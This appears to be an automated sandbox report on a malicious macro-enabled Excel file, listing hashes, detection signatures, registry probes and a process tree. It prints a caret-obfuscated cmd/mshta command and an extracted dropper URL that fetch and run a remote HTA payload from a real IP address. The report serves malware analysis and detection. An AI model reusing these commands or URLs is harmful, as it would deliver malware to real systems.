4bd8c91634e67571e3d3ef12e97ec113895c366559309e1ed0cf9a18b196b787

General

Target

4bd8c91634e67571e3d3ef12e97ec113895c366559309e1ed0cf9a18b196b787.xlsm
Size

115KB
MD5

2d0af5965ec7ba95979588b8567ad0b1
SHA1

18f195c66fb5966a4e098e1f74fc047902c1989c
SHA256

4bd8c91634e67571e3d3ef12e97ec113895c366559309e1ed0cf9a18b196b787
SHA512

e5c29a1fbd6377eb60e22de3a9f651016105770c4e744b1dc77cb3ca04b87e2c9a69b672788656152b14fb8cf476c40ef849e69dd5f66d786effb6cc8da32b3a

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://92.255.57.195/sec/se1.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3076	3884	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

11 996 mshta.exe

flow	pid	process
11	996	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3884 EXCEL.EXE

Suspicious use of SetWindowsHookEx 20 IoCs

Processes:

EXCEL.EXE

pid	process
3884	EXCEL.EXE
3884	EXCEL.EXE
3884	EXCEL.EXE
3884	EXCEL.EXE
3884	EXCEL.EXE
3884	EXCEL.EXE
3884	EXCEL.EXE
3884	EXCEL.EXE
3884	EXCEL.EXE
3884	EXCEL.EXE
3884	EXCEL.EXE
3884	EXCEL.EXE
3884	EXCEL.EXE
3884	EXCEL.EXE
3884	EXCEL.EXE
3884	EXCEL.EXE
3884	EXCEL.EXE
3884	EXCEL.EXE
3884	EXCEL.EXE
3884	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 3884 wrote to memory of 4040	3884	EXCEL.EXE	splwow64.exe
PID 3884 wrote to memory of 4040	3884	EXCEL.EXE	splwow64.exe
PID 3884 wrote to memory of 3076	3884	EXCEL.EXE	cmd.exe
PID 3884 wrote to memory of 3076	3884	EXCEL.EXE	cmd.exe
PID 3076 wrote to memory of 996	3076	cmd.exe	mshta.exe
PID 3076 wrote to memory of 996	3076	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4bd8c91634e67571e3d3ef12e97ec113895c366559309e1ed0cf9a18b196b787.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3884

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:4040

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3076

C:\Windows\system32\mshta.exe
mshta http://0x5cff39c3/sec/se1.html
3⤵
- Blocklisted process makes network request
PID:996

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/3884-114-0x00007FFA043F0000-0x00007FFA04400000-memory.dmp

Filesize
64KB

Download
memory/3884-115-0x00007FFA043F0000-0x00007FFA04400000-memory.dmp

Filesize
64KB

Download
memory/3884-116-0x00007FFA043F0000-0x00007FFA04400000-memory.dmp

Filesize
64KB

Download
memory/3884-117-0x00007FFA043F0000-0x00007FFA04400000-memory.dmp

Filesize
64KB

Download
memory/3884-126-0x00007FFA44360000-0x00007FFA4453B000-memory.dmp

Filesize
1.9MB

Download
memory/3884-127-0x00007FFA44360000-0x00007FFA4453B000-memory.dmp

Filesize
1.9MB

Download
memory/3884-128-0x00007FFA44360000-0x00007FFA4453B000-memory.dmp

Filesize
1.9MB

Download
memory/3884-129-0x00007FFA44360000-0x00007FFA4453B000-memory.dmp

Filesize
1.9MB

Download
memory/3884-130-0x00007FFA44360000-0x00007FFA4453B000-memory.dmp

Filesize
1.9MB

Download
memory/3884-131-0x00007FFA44360000-0x00007FFA4453B000-memory.dmp

Filesize
1.9MB

Download
memory/3884-132-0x00007FFA44360000-0x00007FFA4453B000-memory.dmp

Filesize
1.9MB

Download
memory/3884-133-0x00007FFA44360000-0x00007FFA4453B000-memory.dmp

Filesize
1.9MB

Download
memory/3884-134-0x00007FFA44360000-0x00007FFA4453B000-memory.dmp

Filesize
1.9MB

Download
memory/3884-135-0x00007FFA44360000-0x00007FFA4453B000-memory.dmp

Filesize
1.9MB

Download
memory/3884-137-0x00007FFA44360000-0x00007FFA4453B000-memory.dmp

Filesize
1.9MB

Download
memory/3884-139-0x00007FFA44360000-0x00007FFA4453B000-memory.dmp

Filesize
1.9MB

Download
memory/3884-143-0x00007FFA43B90000-0x00007FFA43C3E000-memory.dmp

Filesize
696KB

Download
memory/3884-145-0x00007FFA44360000-0x00007FFA4453B000-memory.dmp

Filesize
1.9MB

Download
memory/3884-147-0x00007FFA44360000-0x00007FFA4453B000-memory.dmp

Filesize
1.9MB

Download
memory/3884-150-0x00007FFA44360000-0x00007FFA4453B000-memory.dmp

Filesize
1.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads